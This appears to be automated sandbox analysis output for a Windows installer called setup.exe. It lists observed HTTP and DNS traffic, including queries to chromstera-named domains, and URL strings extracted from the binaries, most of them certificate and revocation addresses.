Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730743968&P2=404&P3=2&P4=Wrd8ru3elfd9jwwVA5G6RHmd6vG5sKYlGMT5c86MTidAQ0tDgfnQ9YY1PzzS5qN6OVHCl6NdqNQitO2C6oK2CQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: JN3t9tLnHvPwoNcvg4GThUSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: setup.exe, 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmp, setup.exe, 00000000.00000000.1694822221.0000000000E0C000.00000002.00000001.01000000.00000003.sdmp, setup.exe, 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: FlashWindowExFlashWindowGetPackagePathhttp://www.google.comTESTtin9999.tmphttp://www.yahoo.comhttp://www.example.com.part= "GETattachmentDLD123filenamecharsetutf-16ISO-8859-1POSTutf-8Local Network ServerFTP ServerUS-ASCIIAdvancedInstallerRange: bytes=%u- equals www.yahoo.com (Yahoo)
Source: setup.exe	String found in binary or memory: VFlashWindowExFlashWindowGetPackagePathhttp://www.google.comTESTtin9999.tmphttp://www.yahoo.comhttp://www.example.com.part= "GETattachmentDLD123filenamecharsetutf-16ISO-8859-1POSTutf-8Local Network ServerFTP ServerUS-ASCIIAdvancedInstallerRange: bytes=%u- equals www.yahoo.com (Yahoo)
Source: setup.exe	String found in binary or memory: http://www.yahoo.com equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: chromsterabrowser.com
Source: global traffic	DNS traffic detected: DNS query: secure.chromstera.com
Source: global traffic	DNS traffic detected: DNS query: chromsteraupdates.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 28 Oct 2024 18:11:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeReferrer-Policy: no-referrercf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y4g0jurbb%2FylK2vxdGNtVOvYJ6WuYmHIJDz157KP1iuDbj2hgY2dNAcVG1v85MCCMcU0hYATOIB9I3tzplk3I1Dg4PmrjZncSKwOyB6wlxUdmw34FPOLlgKRlbM8Xx1WKD%2BUSuEFMME%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d9ce38bffc5e96a-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=733&delivery_rate=1698533&cwnd=248&unsent_bytes=0&cid=2453cd3faa7abb50&ts=320&x=0"

Source: shi3105.tmp.0.dr	String found in binary or memory: http://.css
Source: shi3105.tmp.0.dr	String found in binary or memory: http://.jpg
Source: setup.exe, 00000000.00000002.2952389573.0000000005B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.cX
Source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: setup.exe, 00000003.00000002.2950850440.0000000004256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTruste
Source: setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4
Source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0V
Source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45codesignca2020.crl0
Source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: svchost.exe, 0000001B.00000002.2953061527.00000278DA400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.coT
Source: setup.exe, 00000003.00000002.2950850440.0000000004160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/
Source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: setup.exe, viewer.exe.0.dr, Chromnius-Main.msi.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: setup.exe, 00000003.00000002.2949076148.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: setup.exe, 00000000.00000002.2947792142.000000000084A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: setup.exe, 00000003.00000002.2949076148.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab(
Source: setup.exe, 00000000.00000003.1716107883.0000000003C34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?9fe3082f81c28
Source: setup.exe, 00000000.00000002.2947792142.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en_
Source: svchost.exe, 0000001B.00000002.2953199591.00000278DA484000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
